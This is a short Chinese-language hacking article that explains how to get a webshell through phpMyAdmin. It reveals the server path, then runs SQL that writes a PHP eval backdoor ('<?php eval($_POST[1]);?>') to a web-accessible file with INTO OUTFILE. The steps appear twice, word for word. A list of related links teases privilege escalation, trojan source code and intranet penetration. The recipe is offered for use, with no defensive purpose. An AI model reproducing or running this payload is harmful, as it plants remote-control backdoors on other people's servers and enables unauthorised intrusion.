phpMyAdmin 后台拿webshell
更新时间：2007年03月08日 00:00:00 作者：
1.如何拿到登陆密码. 自己想办法
2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.
3.选择一个Database.运行以下语句.
----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
Drop TABLE IF EXISTS a;
----end code---
4.如果没什么意外.对应网站得到webshell
2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.
3.选择一个Database.运行以下语句.
----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
Drop TABLE IF EXISTS a;
----end code---
4.如果没什么意外.对应网站得到webshell
相关文章
一个linux提权用的技巧，放出来全当找工作攒RP了。 OK，通常情况下，我们在执行bash脚本的时候，有一个执行过程，其中有一点比较重要:如果BASH_ENV被设置的话，它就会执行BASH_ENV指向的脚本2008-09-09
来源：红狼 sa默认可以读sam键.应该。2008-05-05
新编MS07004网页木马源码代码...2007-03-03
爱好入侵的可以用下面的方法，做网站的朋友就需要了解下面的asp.net的利用代码，最好来测试下2008-06-06
利用WinRAR来捆绑木马2个技巧...2007-06-06
内网渗透-----如何打开突破口...2007-06-06
得到了网站的webshell我们就可以查看服务器的iis的所有站点了，试个不错的方法，如果安全设置好了，也不会有问题2008-04-04
MySQL注入中导出字段内容的研究通过注入导出WebShell
大家都知道，在MySQL中，无法像MSSQL那样执行script.asp?id=1;insert into table (field) values('angel');--来插入数据，因为MySQL里最多就是用union联合查询。2008-05-05
新云网站管理系统任意文件可下载漏洞...2007-02-02
国内外黑客组织网址集锦...2007-06-06
最新评论